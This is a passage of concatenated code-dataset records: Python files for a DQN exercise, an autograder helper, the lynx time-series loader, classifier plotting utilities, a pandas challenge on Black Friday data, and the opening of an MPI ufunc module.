fig.add_subplot(111)\nl1 = [tup[0] for tup in agent.loss_list]\nl2 = [tup[1] for tup in agent.loss_list]\nl3 = [tup[2] for tup in agent.loss_list]\n\nplt.plot(np.arange(len(agent.loss_list)), l1)\nplt.plot(np.arange(len(agent.loss_list)), l2)\nplt.plot(np.arange(len(agent.loss_list)), l3)\nplt.legend([\"loss1\",\"loss2\",\"loss3\"])\nplt.show()\n\n# plot the scores\nfig = plt.figure()\nax = fig.add_subplot(111)\nplt.plot(np.arange(len(scores)), scores)\nplt.ylabel('Score')\nplt.xlabel('Episode #')\nplt.show()\n\n\n# ### 4. Watch a Smart Agent!\n# \n# In the next code cell, you will load the trained weights from file to watch a smart agent!\n\n# In[ ]:\n\n\"\"\"\n# load the weights from file\nagent.qnetwork_local.load_state_dict(torch.load('checkpoint.pth'))\n\nfor i in range(3):\n    state = env.reset()\n    for j in range(200):\n        action = agent.act(state)\n        env.render()\n        state, reward, done, _ = env.step(action)\n        if done:\n            break \n            \nenv.close()\n\"\"\"\n\n# ### 5. Explore\n# \n# In this exercise, you have implemented a DQN agent and demonstrated how to use it to solve an OpenAI Gym environment.  To continue your learning, you are encouraged to complete any (or all!) of the following tasks:\n# - Amend the various hyperparameters and network architecture to see if you can get your agent to solve the environment faster.  Once you build intuition for the hyperparameters that work well with this environment, try solving a different OpenAI Gym task with discrete actions!\n# - You may like to implement some improvements such as prioritized experience replay, Double DQN, or Dueling DQN! \n# - Write a blog post explaining the intuition behind the DQN algorithm and demonstrating how to use it to solve an RL environment of your choosing.  \n", "meta": {"hexsha": "b9a6ad84f1405d98f3b585c3e88da47bcb9b907f", "size": 4891, "ext": "py", "lang": "Python", "max_stars_repo_path": "vanilla_DoubleDQN/Deep_Q_Network_Solution.py", "max_stars_repo_name": "09jvilla/CS234_gym", "max_stars_repo_head_hexsha": "ef77567eda4932b181965fa3081b00e7f57d37c8", "max_stars_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "vanilla_DoubleDQN/Deep_Q_Network_Solution.py", "max_issues_repo_name": "09jvilla/CS234_gym", "max_issues_repo_head_hexsha": "ef77567eda4932b181965fa3081b00e7f57d37c8", "max_issues_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "vanilla_DoubleDQN/Deep_Q_Network_Solution.py", "max_forks_repo_name": "09jvilla/CS234_gym", "max_forks_repo_head_hexsha": "ef77567eda4932b181965fa3081b00e7f57d37c8", "max_forks_repo_licenses": ["Python-2.0", "OLDAP-2.7"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.7310344828, "max_line_length": 279, "alphanum_fraction": 0.6718462482, "include": true, "reason": "import numpy", "num_tokens": 1180, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.1581743527484317, "lm_q1q2_score": 0.07538267784007038}}
{"text": "# Test helpers\r\n\r\nimport numpy as np\r\n\r\ndef assertions(user_vals, expected_vals, test_type, test_name):\r\n    if test_type == 'type':\r\n        try:\r\n            assert type(user_vals) == type(expected_vals)\r\n        except Exception as e:\r\n            print('Type error, your type doesnt match the expected type.')\r\n            print('Wrong type for %s' % test_name)\r\n            print('Your type:   ', type(user_vals))\r\n            print('Expected type:', type(expected_vals))\r\n            return False\r\n    elif test_type == 'shape':\r\n        try:\r\n            assert user_vals.shape == expected_vals.shape\r\n        except Exception as e:\r\n            print('Shape error, your shapes doesnt match the expected shape.')\r\n            print('Wrong shape for %s' % test_name)\r\n            print('Your shape:    ', user_vals.shape)\r\n            print('Expected shape:', expected_vals.shape)\r\n            return False\r\n    elif test_type == 'closeness':\r\n        try:\r\n            assert np.allclose(user_vals, expected_vals)\r\n        except Exception as e:\r\n            print('Closeness error, your values dont match the expected values.')\r\n            print('Wrong values for %s' % test_name)\r\n            print('Your values:    ', user_vals)\r\n            print('Expected values:', expected_vals)\r\n            return False\r\n    return True\r\n\r\ndef print_failure(cur_test):\r\n    print('*'*77)\r\n    print('The local autograder will not work if you do not pass %s.' % cur_test)\r\n    print('*'*77)\r\n    print(' ')\r\n\r\ndef print_name(cur_question):\r\n    print('-'*20)\r\n    print(cur_question)\r\n\r\ndef print_outcome(short, outcome):\r\n    print(short + ': ', 'PASS' if outcome else '*** FAIL ***')\r\n    print('-'*20)\r\n    print()", "meta": {"hexsha": "c5d270bb60b5eee298ce859618720fcc6e1dbc84", "size": 1716, "ext": "py", "lang": "Python", "max_stars_repo_path": "homework-2/HW2P1/autograder/hw2_autograder/test.py", "max_stars_repo_name": "neelpawarcmu/deep-learning-library", "max_stars_repo_head_hexsha": "401483fce40e3a025054596cbec368ff4f647661", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "homework-2/HW2P1/autograder/hw2_autograder/test.py", "max_issues_repo_name": "neelpawarcmu/deep-learning-library", "max_issues_repo_head_hexsha": "401483fce40e3a025054596cbec368ff4f647661", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "homework-2/HW2P1/autograder/hw2_autograder/test.py", "max_forks_repo_name": "neelpawarcmu/deep-learning-library", "max_forks_repo_head_hexsha": "401483fce40e3a025054596cbec368ff4f647661", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.75, "max_line_length": 82, "alphanum_fraction": 0.5775058275, "include": true, "reason": "import numpy", "num_tokens": 371, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.30735801686526387, "lm_q2_score": 0.2450850186463482, "lm_q1q2_score": 0.07532884529452781}}
{"text": "# -*- coding: utf-8 -*-\n#\n# Author: Taylor Smith <taylor.smith@alkaline-ml.com>\n#\n# This is the lynx dataset found in R.\n\nimport numpy as np\nimport pandas as pd\n\nfrom ..compat import DTYPE\n\n__all__ = [\n    'load_lynx'\n]\n\n\ndef load_lynx(as_series=False, dtype=DTYPE):\n    \"\"\"Annual numbers of lynx trappings for 1821\u20131934 in Canada.\n\n    This time-series records the number of skins of predators (lynx) that were\n    collected over several years by the Hudson's Bay Company. The dataset was\n    taken from Brockwell & Davis (1991) and appears to be the series\n    considered by Campbell & Walker (1977).\n\n    Parameters\n    ----------\n    as_series : bool, optional (default=False)\n        Whether to return a Pandas series. If True, the index will be set to\n        the observed years. If False, will return a 1d numpy array.\n\n    dtype : type, optional (default=np.float64)\n        The type to return for the array. Default is np.float64, which is used\n        throughout the package as the default type.\n\n    Examples\n    --------\n    >>> from pmdarima.datasets import load_lynx\n    >>> load_lynx()\n    array([ 269,  321,  585,  871, 1475, 2821, 3928, 5943, 4950, 2577,  523,\n             98,  184,  279,  409, 2285, 2685, 3409, 1824,  409,  151,   45,\n             68,  213,  546, 1033, 2129, 2536,  957,  361,  377,  225,  360,\n            731, 1638, 2725, 2871, 2119,  684,  299,  236,  245,  552, 1623,\n           3311, 6721, 4254,  687,  255,  473,  358,  784, 1594, 1676, 2251,\n           1426,  756,  299,  201,  229,  469,  736, 2042, 2811, 4431, 2511,\n            389,   73,   39,   49,   59,  188,  377, 1292, 4031, 3495,  587,\n            105,  153,  387,  758, 1307, 3465, 6991, 6313, 3794, 1836,  345,\n            382,  808, 1388, 2713, 3800, 3091, 2985, 3790,  674,   81,   80,\n            108,  229,  399, 1132, 2432, 3574, 2935, 1537,  529,  485,  662,\n           1000, 1590, 2657, 3396])\n\n    >>> load_lynx(True).head()\n    1821     269\n    1822     321\n    1823     585\n    1824     871\n    1825    1475\n    dtype: int64\n\n    Notes\n    -----\n    This is annual data and not seasonal in nature (i.e., :math:`m=1`)\n\n    References\n    ----------\n    .. [1] Brockwell, P. J. and Davis, R. A. (1991)\n           Time Series and Forecasting Methods. Second edition.\n           Springer. Series G (page 557).\n\n    .. [2] https://stat.ethz.ch/R-manual/R-devel/library/datasets/html/lynx.html\n\n    Returns\n    -------\n    lynx : array-like, shape=(n_samples,)\n        The lynx dataset. There are 114 observations.\n    \"\"\"  # noqa: E501\n    rslt = np.array([269, 321, 585, 871, 1475, 2821, 3928, 5943, 4950,\n                     2577, 523, 98, 184, 279, 409, 2285, 2685, 3409,\n                     1824, 409, 151, 45, 68, 213, 546, 1033, 2129,\n                     2536, 957, 361, 377, 225, 360, 731, 1638, 2725,\n                     2871, 2119, 684, 299, 236, 245, 552, 1623, 3311,\n                     6721, 4254, 687, 255, 473, 358, 784, 1594, 1676,\n                     2251, 1426, 756, 299, 201, 229, 469, 736, 2042,\n                     2811, 4431, 2511, 389, 73, 39, 49, 59, 188,\n                     377, 1292, 4031, 3495, 587, 105, 153, 387, 758,\n                     1307, 3465, 6991, 6313, 3794, 1836, 345, 382, 808,\n                     1388, 2713, 3800, 3091, 2985, 3790, 674, 81, 80,\n                     108, 229, 399, 1132, 2432, 3574, 2935, 1537, 529,\n                     485, 662, 1000, 1590, 2657, 3396]).astype(dtype)\n\n    # Set the index if necessary\n    if as_series:\n        return pd.Series(rslt, index=range(1821, 1935))\n    return rslt\n", "meta": {"hexsha": "906ff45d9136c774223bb6fd37f210ff68a14217", "size": 3573, "ext": "py", "lang": "Python", "max_stars_repo_path": "pmdarima/datasets/lynx.py", "max_stars_repo_name": "tuomijal/pmdarima", "max_stars_repo_head_hexsha": "5bf84a2a5c42b81b949bd252ad3d4c6c311343f8", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 736, "max_stars_repo_stars_event_min_datetime": "2019-12-02T01:33:31.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T21:45:29.000Z", "max_issues_repo_path": "pmdarima/datasets/lynx.py", "max_issues_repo_name": "tuomijal/pmdarima", "max_issues_repo_head_hexsha": "5bf84a2a5c42b81b949bd252ad3d4c6c311343f8", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 186, "max_issues_repo_issues_event_min_datetime": "2019-12-01T18:01:33.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T18:27:56.000Z", "max_forks_repo_path": "pmdarima/datasets/lynx.py", "max_forks_repo_name": "tuomijal/pmdarima", "max_forks_repo_head_hexsha": "5bf84a2a5c42b81b949bd252ad3d4c6c311343f8", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 126, "max_forks_repo_forks_event_min_datetime": "2019-12-07T04:03:19.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T17:40:14.000Z", "avg_line_length": 38.0106382979, "max_line_length": 80, "alphanum_fraction": 0.5533165407, "include": true, "reason": "import numpy", "num_tokens": 1390, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.1540575665754383, "lm_q1q2_score": 0.0752237516784691}}
{"text": "# pylint: disable=invalid-name\n\n\"\"\"\n    utils.py\n    --------\n\n    The 'utils' module is created to define the helper functions, which would\n    be used in the Jupyter Notebooks, during the exploration of the sample\n    dataset. Following functions are included in this module.\n\n    - :func:`plot_unclassified` plots the unclassified raw sample data.\n\n    - :func:`plot_decision_boundary` uses the model object, data, and\n    the ground truth labels in order to draw a decision boundary, which\n    distinguishes between two possible classes of the sample dataset.\n\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom dl.nn import Sequential\n\n\ndef plot_unclassified(x: np.ndarray, y: np.ndarray) -> None:\n    \"\"\"Plots unclassified data.\n\n    :param x: Training or validation data\n    :type x: np.ndarray\n    :param y: Training or validation labels\n    :type y: np.ndarray\n    \"\"\"\n    plt.figure(figsize=(6, 4))\n    plt.clf()\n    plt.scatter(x.T[:, 0], x.T[:, 1], c=y.T, s=40)\n    plt.ylabel('x2')\n    plt.xlabel('x1')\n    plt.title('Classes in the unclassified data')\n    plt.show()\n\n\ndef plot_decision_boundary(model: Sequential, x: np.ndarray,\n                           y: np.ndarray, **kwargs) -> None:\n    \"\"\"Plots the decision boundary for 101exploratory training dataset.\n\n    :param model: Model object representing a neural network architecture.\n    :type model: Sequential\n    :param x: Training or validation data.\n    :type x: np.ndarray\n    :param y: Training or validation labels.\n    :type y: np.ndarray\n    :param kwargs: Optional keyword arguments for customizing the decision\n        boundary plot. Expected keys are, ep (Number of epochs),\n        set (Data set), alg (optimization algorithm),\n        bs (batch size for training), lr (learning rate),\n        rp (regularization parameter).\n    :type kwargs: str=Any\n    \"\"\"\n    # Set min and max values and give it some padding\n    x_min, x_max = x[0, :].min() - 1, x[0, :].max() + 1\n    y_min, y_max = x[1, :].min() - 1, x[1, :].max() + 1\n    interval: float = 0.01\n    # Generate a grid of points with distance h between them\n    gird_x, grid_y = np.meshgrid(np.arange(x_min, x_max, interval),\n                                 np.arange(y_min, y_max, interval))\n\n    # Predict the function value for the whole grid, for this we take the\n    # gird_x, grid_y mesh matrices, flatten them,concatenate as columns and\n    # finally make a transpose in order give them exact shape of training\n    # dataset.\n    mesh_dataset: np.ndarray = np.c_[gird_x.ravel().T, grid_y.ravel().T].T\n    hyp = model.predict(data=mesh_dataset, tp=0.5)\n    hyp = hyp.reshape(gird_x.shape)\n    # Plot the contour and training examples\n    plt.figure(figsize=(6, 4))\n    plt.clf()\n    plt.contourf(gird_x, grid_y, hyp)\n    plt.ylabel('x2')\n    plt.xlabel('x1')\n    ep = kwargs.get('ep', None)\n    st = kwargs.get('set', None)\n    alg = kwargs.get('alg', None)\n    bs = kwargs.get('bs', None)\n    lr = kwargs.get('lr', None)\n    rp = kwargs.get('rp', None)\n    plt.title('Decision Boundary')\n    plt.scatter(x[0, :], x[1, :], c=y, cmap=plt.cm.get_cmap('tab10'))\n    plt.show()\n    if st:\n        print(f'For: {st} set')\n    if alg:\n        print(f'Optimization algorithm: {alg}')\n    if ep:\n        print(f'Epochs: {ep}')\n    if bs:\n        print(f'Batch size: {bs}')\n    if lr:\n        print(f'Learning rate: {lr}')\n    if rp:\n        print(f'Regularization parameter: {rp}')\n\n\nif __name__ == '__main__':\n    pass\n", "meta": {"hexsha": "e1dd84aeefaee023b19419229b23b78dd9f28db3", "size": 3467, "ext": "py", "lang": "Python", "max_stars_repo_path": "examples/101exploratory/utils.py", "max_stars_repo_name": "sarkarchandan/nn-binary-classification", "max_stars_repo_head_hexsha": "c8a0a865d1775d0d988d3cad52ab0ede5be7d03f", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "examples/101exploratory/utils.py", "max_issues_repo_name": "sarkarchandan/nn-binary-classification", "max_issues_repo_head_hexsha": "c8a0a865d1775d0d988d3cad52ab0ede5be7d03f", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "examples/101exploratory/utils.py", "max_forks_repo_name": "sarkarchandan/nn-binary-classification", "max_forks_repo_head_hexsha": "c8a0a865d1775d0d988d3cad52ab0ede5be7d03f", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 33.3365384615, "max_line_length": 77, "alphanum_fraction": 0.6359965388, "include": true, "reason": "import numpy", "num_tokens": 923, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4882833952958347, "lm_q2_score": 0.15405755492358, "lm_q1q2_score": 0.07522374598906018}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <h1>Table of Contents<span class=\"tocSkip\"></span></h1>\n# <div class=\"toc\"><ul class=\"toc-item\"><li><span><a href=\"#Desafio-1\" data-toc-modified-id=\"Desafio-1-1\"><span class=\"toc-item-num\">1&nbsp;&nbsp;</span>Desafio 1</a></span><ul class=\"toc-item\"><li><span><a href=\"#Set-up-da-an\u00e1lise\" data-toc-modified-id=\"Set-up-da-an\u00e1lise-1.1\"><span class=\"toc-item-num\">1.1&nbsp;&nbsp;</span><em>Set up</em> da an\u00e1lise</a></span></li><li><span><a href=\"#Inicie-sua-an\u00e1lise-a-partir-daqui\" data-toc-modified-id=\"Inicie-sua-an\u00e1lise-a-partir-daqui-1.2\"><span class=\"toc-item-num\">1.2&nbsp;&nbsp;</span>Inicie sua an\u00e1lise a partir daqui</a></span></li><li><span><a href=\"#Quest\u00e3o-1\" data-toc-modified-id=\"Quest\u00e3o-1-1.3\"><span class=\"toc-item-num\">1.3&nbsp;&nbsp;</span>Quest\u00e3o 1</a></span></li><li><span><a href=\"#Quest\u00e3o-2\" data-toc-modified-id=\"Quest\u00e3o-2-1.4\"><span class=\"toc-item-num\">1.4&nbsp;&nbsp;</span>Quest\u00e3o 2</a></span></li><li><span><a href=\"#Quest\u00e3o-3\" data-toc-modified-id=\"Quest\u00e3o-3-1.5\"><span class=\"toc-item-num\">1.5&nbsp;&nbsp;</span>Quest\u00e3o 3</a></span></li><li><span><a href=\"#Quest\u00e3o-4\" data-toc-modified-id=\"Quest\u00e3o-4-1.6\"><span class=\"toc-item-num\">1.6&nbsp;&nbsp;</span>Quest\u00e3o 4</a></span></li><li><span><a href=\"#Quest\u00e3o-5\" data-toc-modified-id=\"Quest\u00e3o-5-1.7\"><span class=\"toc-item-num\">1.7&nbsp;&nbsp;</span>Quest\u00e3o 5</a></span></li><li><span><a href=\"#Quest\u00e3o-6\" data-toc-modified-id=\"Quest\u00e3o-6-1.8\"><span class=\"toc-item-num\">1.8&nbsp;&nbsp;</span>Quest\u00e3o 6</a></span></li><li><span><a href=\"#Quest\u00e3o-7\" data-toc-modified-id=\"Quest\u00e3o-7-1.9\"><span class=\"toc-item-num\">1.9&nbsp;&nbsp;</span>Quest\u00e3o 7</a></span></li><li><span><a href=\"#Quest\u00e3o-8\" data-toc-modified-id=\"Quest\u00e3o-8-1.10\"><span class=\"toc-item-num\">1.10&nbsp;&nbsp;</span>Quest\u00e3o 8</a></span></li><li><span><a href=\"#Quest\u00e3o-9\" data-toc-modified-id=\"Quest\u00e3o-9-1.11\"><span class=\"toc-item-num\">1.11&nbsp;&nbsp;</span>Quest\u00e3o 9</a></span></li><li><span><a href=\"#Quest\u00e3o-10\" data-toc-modified-id=\"Quest\u00e3o-10-1.12\"><span class=\"toc-item-num\">1.12&nbsp;&nbsp;</span>Quest\u00e3o 10</a></span></li></ul></li></ul></div>\n\n# # Desafio 1\n# \n# Para esse desafio, vamos trabalhar com o data set [Black Friday](https://www.kaggle.com/mehdidag/black-friday), que re\u00fane dados sobre transa\u00e7\u00f5es de compras em uma loja de varejo.\n# \n# Vamos utiliz\u00e1-lo para praticar a explora\u00e7\u00e3o de data sets utilizando pandas. Voc\u00ea pode fazer toda an\u00e1lise neste mesmo notebook, mas as resposta devem estar nos locais indicados.\n# \n# > Obs.: Por favor, n\u00e3o modifique o nome das fun\u00e7\u00f5es de resposta.\n\n# ## _Set up_ da an\u00e1lise\n\n# In[2]:\n\n\nimport pandas as pd\nimport numpy as np\n\n\n# In[3]:\n\n\nblack_friday = pd.read_csv(\"black_friday.csv\")\n\n\n# ## Inicie sua an\u00e1lise a partir daqui\n\n# In[4]:\n\n\nblack_friday.head(5)\n\n\n# ## Quest\u00e3o 1\n# \n# Quantas observa\u00e7\u00f5es e quantas colunas h\u00e1 no dataset? Responda no formato de uma tuple `(n_observacoes, n_colunas)`.\n\n# In[5]:\n\n\ndef q1():\n    return black_friday.shape\n\n\n# In[6]:\n\n\nblack_friday.shape\n\n\n# ## Quest\u00e3o 2\n# \n# H\u00e1 quantas mulheres com idade entre 26 e 35 anos no dataset? Responda como um \u00fanico escalar.\n\n# In[43]:\n\n\ndef q2():\n    return int(black_friday.query('Gender == \"F\" and Age==\"26-35\"')['Age'].value_counts()[0])\n\n\n# In[8]:\n\n\nblack_friday.Age.unique()\n\n\n# In[9]:\n\n\ngenders = black_friday.groupby('Gender')\ngenders\n\n\n# In[10]:\n\n\nblack_friday.query('Gender == \"F\" and Age==\"26-35\"')['Age'].value_counts()\n\n\n# In[44]:\n\n\nint(black_friday.query('Gender == \"F\" and Age==\"26-35\"')['Age'].value_counts()[0])\n\n\n# ## Quest\u00e3o 3\n# \n# Quantos usu\u00e1rios \u00fanicos h\u00e1 no dataset? Responda como um \u00fanico escalar.\n\n# In[12]:\n\n\ndef q3():\n    return len(black_friday.User_ID.unique())\n\n\n# In[13]:\n\n\nlen(black_friday.User_ID.unique())\n\n\n# ## Quest\u00e3o 4\n# \n# Quantos tipos de dados diferentes existem no dataset? Responda como um \u00fanico escalar.\n\n# In[14]:\n\n\ndef q4():\n    return len(black_friday.dtypes.unique())\n\n\n# In[15]:\n\n\nblack_friday.dtypes\n\n\n# In[16]:\n\n\nlen(black_friday.dtypes.unique())\n\n\n# ## Quest\u00e3o 5\n# \n# Qual porcentagem dos registros possui ao menos um valor null (`None`, `\u01f8aN` etc)? Responda como um \u00fanico escalar entre 0 e 1.\n\n# In[17]:\n\n\ndef q5():\n    return (black_friday.shape[0] - black_friday.dropna().shape[0])/black_friday.shape[0]\n\n\n# In[18]:\n\n\nblack_friday.info()\n\n\n# In[19]:\n\n\nblack_friday.isna()\n\n\n# In[20]:\n\n\nblack_friday.shape[0]\n\n\n# In[21]:\n\n\nblack_friday.dropna().shape[0]\n\n\n# In[22]:\n\n\npercentual = (black_friday.shape[0] - black_friday.dropna().shape[0])/black_friday.shape[0]\npercentual\n\n\n# ## Quest\u00e3o 6\n# \n# Quantos valores null existem na vari\u00e1vel (coluna) com o maior n\u00famero de null? Responda como um \u00fanico escalar.\n\n# In[46]:\n\n\ndef q6():\n    return int(black_friday['Product_Category_3'].isna().sum())\n\n\n# In[24]:\n\n\nblack_friday['Product_Category_3'].isna().sum()\n\n\n# ## Quest\u00e3o 7\n# \n# Qual o valor mais frequente (sem contar nulls) em `Product_Category_3`? Responda como um \u00fanico escalar.\n\n# In[25]:\n\n\ndef q7():\n    return black_friday['Product_Category_3'].value_counts().index[0]\n\n\n# In[26]:\n\n\nblack_friday['Product_Category_3'].value_counts().index[0]\n\n\n# ## Quest\u00e3o 8\n# \n# Qual a nova m\u00e9dia da vari\u00e1vel (coluna) `Purchase` ap\u00f3s sua normaliza\u00e7\u00e3o? Responda como um \u00fanico escalar.\n\n# In[52]:\n\n\ndef q8():\n    normalized = black_friday[['Purchase']]\n    normalized_min = black_friday[['Purchase']].min()\n    normalized_max = black_friday[['Purchase']].max()\n    normalized_DF = (normalized - normalized_min) / (normalized_max - normalized_min)\n    return float(normalized_DF.mean()[0])\n\n\n# In[28]:\n\n\nblack_friday['Purchase'].isna().sum()\n\n\n# In[29]:\n\n\nnormalized = black_friday[['Purchase']]\nnormalized\n\n\n# In[30]:\n\n\nnormalized_min = black_friday[['Purchase']].min()\nnormalized_min\n\n\n# In[31]:\n\n\nnormalized_max = black_friday[['Purchase']].max()\nnormalized_max\n\n\n# In[32]:\n\n\nnormalized_DF = (normalized - normalized_min) / (normalized_max - normalized_min)\nnormalized_DF\n\n\n# In[33]:\n\n\nnormalized_DF.mean()[0]\n\n\n# ## Quest\u00e3o 9\n# \n# Quantas ocorr\u00eancias entre -1 e 1 inclusive existem da vari\u00e1el `Purchase` ap\u00f3s sua padroniza\u00e7\u00e3o? Responda como um \u00fanico escalar.\n\n# In[34]:\n\n\ndef q9():\n    stand = black_friday[['Purchase']]\n    stand_mean = black_friday[['Purchase']].mean()\n    stand_std = black_friday[['Purchase']].std()\n    stand_DF = (stand - stand_mean) / (stand_std)\n    return stand_DF.query('Purchase >= -1 and Purchase <= 1').Purchase.shape[0]\n\n\n# In[35]:\n\n\nstand = black_friday[['Purchase']]\n\n\n# In[36]:\n\n\nstand_mean = black_friday[['Purchase']].mean()\nstand_mean\n\n\n# In[37]:\n\n\nstand_std = black_friday[['Purchase']].std()\nstand_std\n\n\n# In[38]:\n\n\nstand_DF = (stand - stand_mean) / (stand_std)\nstand_DF\n\n\n# In[39]:\n\n\nstand_DF.query('Purchase >= -1 and Purchase <= 1').Purchase.shape[0]\n\n\n# ## Quest\u00e3o 10\n# \n# Podemos afirmar que se uma observa\u00e7\u00e3o \u00e9 null em `Product_Category_2` ela tamb\u00e9m o \u00e9 em `Product_Category_3`? Responda com um bool (`True`, `False`).\n\n# In[58]:\n\n\ndef q10():\n    return bool(black_friday.isna().query('Product_Category_2 == True & Product_Category_3 == True').Product_Category_2.unique()[0])\n\n\n# In[59]:\n\n\nresultado = bool(black_friday.isna().query('Product_Category_2 == True & Product_Category_3 == True').Product_Category_2.unique()[0])\nresultado\n\n", "meta": {"hexsha": "22a2f3a706450fe084f76e8af4943cf19f05ef4e", "size": 7228, "ext": "py", "lang": "Python", "max_stars_repo_path": "main.py", "max_stars_repo_name": "lucasjurado/Codenation-Data-Science-01", "max_stars_repo_head_hexsha": "89492a2b71e87995e07a3b22b5003722a26711dc", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main.py", "max_issues_repo_name": "lucasjurado/Codenation-Data-Science-01", "max_issues_repo_head_hexsha": "89492a2b71e87995e07a3b22b5003722a26711dc", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main.py", "max_forks_repo_name": "lucasjurado/Codenation-Data-Science-01", "max_forks_repo_head_hexsha": "89492a2b71e87995e07a3b22b5003722a26711dc", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 22.1039755352, "max_line_length": 2033, "alphanum_fraction": 0.6775041505, "include": true, "reason": "import numpy", "num_tokens": 2277, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.3140505321516081, "lm_q2_score": 0.23934934189686402, "lm_q1q2_score": 0.07516778819284733}}
{"text": "\"\"\"\n=========================================\nThe :mod:`mpi_array.globale_ufunc` Module\n=========================================\n\nDefines :obj:`numpy.ufunc` functions for :obj:`mpi_array.globale.gndarray`.\n\nClasses\n=======\n\n.. autosummary::\n   :toctree: generated/\n\n   GndarrayArrayUfuncExecutor - Creates :obj:`gndarray` outputs and forwards to `numpy.ufunc`.\n\nFunctions\n=========\n\n.. autosummary::\n   :toctree: generated/\n\n   get_dtype_and_ndim - Return :obj:`numpy.dtype` and :samp:`ndim` properties for an object.\n   ufunc_result_type - Like :func:`numpy.result_type`.\n   broadcast_shape - Calculates broadcast shape from sequence of shape arguments.\n   shape_extend_dims - Prepend ones to 1D *shape* sequence to make it a specified dimension.\n   gndarray_array_ufunc - A :obj:`numpy.ndarray` like distributed array.\n\n\n\"\"\"\n\nfrom __future__ import absolute_import\n\nimport sys as _sys\nimport numpy as _np\nimport mpi4py.MPI as _mpi\n\nfrom .license import license as _license, copyright as _copyright, version as _version\nfrom . import logging as _logging  # noqa: E402,F401\nfrom . import globale_creation as _globale_creation\nfrom . import comms as _comms\nfrom .distribution import ScalarLocaleExtent, ScalarGlobaleExtent, LocaleExtent, GlobaleExtent\n\n__author__ = \"Shane J. Latham\"\n__license__ = _license()\n__copyright__ = _copyright()\n__version__ = _version()\n\n\ndef get_dtype_and_ndim(array_like):\n    \"\"\"\n    Returns :samp:`(dtype, ndim)` pair for the given :samp:`{array_like}` argument.\n    If the :samp:`{array_like}` has *both* :samp:`\"dtype\"` and :samp:`\"ndim\"`\n    attributes, then the return tuple is :samp:`({array_like}.dtype, {array_like}.ndim)`.\n    Otherwise,\n    returns :samp:`(numpy.asanyarray({array_like}).dtype, numpy.asanyarray({array_like}).ndim)`.\n\n    :type array_like: castable to :obj:`numpy.ndarray`\n    :param array_like: Returns dtype and ndim for this object.\n    :rtype: two element :obj:`tuple`\n    :return: The :obj:`numpy.dtype` and integer :samp:`ndim` properties for :samp:`{array_like}`.\n\n    Example::\n\n       >>> get_dtype_and_ndim(1.0)\n       (dtype('float64'), 0)\n       >>> get_dtype_and_ndim((1.0, 2.0, 3.0, 4.0))\n       (dtype('float64'), 1)\n       >>> get_dtype_and_ndim([(1.0, 2.0, 3.0, 4.0), (5.0, 6.0, 7.0, 8.0)])\n       (dtype('float64'), 2)\n    \"\"\"\n    dt, nd = None, None\n    if not ((hasattr(array_like, \"dtype\") and hasattr(array_like, \"ndim\"))):\n        array_like = _np.asanyarray(array_like)\n\n    dt, nd = array_like.dtype, array_like.ndim\n\n    return dt, nd\n\n\ndef ufunc_result_type(\n    ufunc_types,\n    inputs,\n    outputs=None,\n    casting=\"safe\",\n    input_match_casting=\"safe\"\n):\n    \"\"\"\n    Attempts to calculate the result type from given ufunc :samp:`{inputs}`\n    and ufunc types (:attr:`numpy.ufunc.types`).\n    Like :obj:`numpy.result_type`, but\n    handles :obj:`mpi_array.globale.gndarray` in the :samp:`{inputs}`\n    and handles multiple :samp:`{outputs}` cases.\n\n    :type ufunc_types: sequence of `str`\n    :param ufunc_types: The :attr:`numpy.ufunc.types` attribute,\n       e.g. :samp:`['??->?', 'bb->b', 'BB->B', 'hh->h', 'HH->H', ..., 'mm->m', 'mM->M', 'OO->O']`.\n    :type inputs: sequence of :obj:`object`\n    :param inputs: The inputs 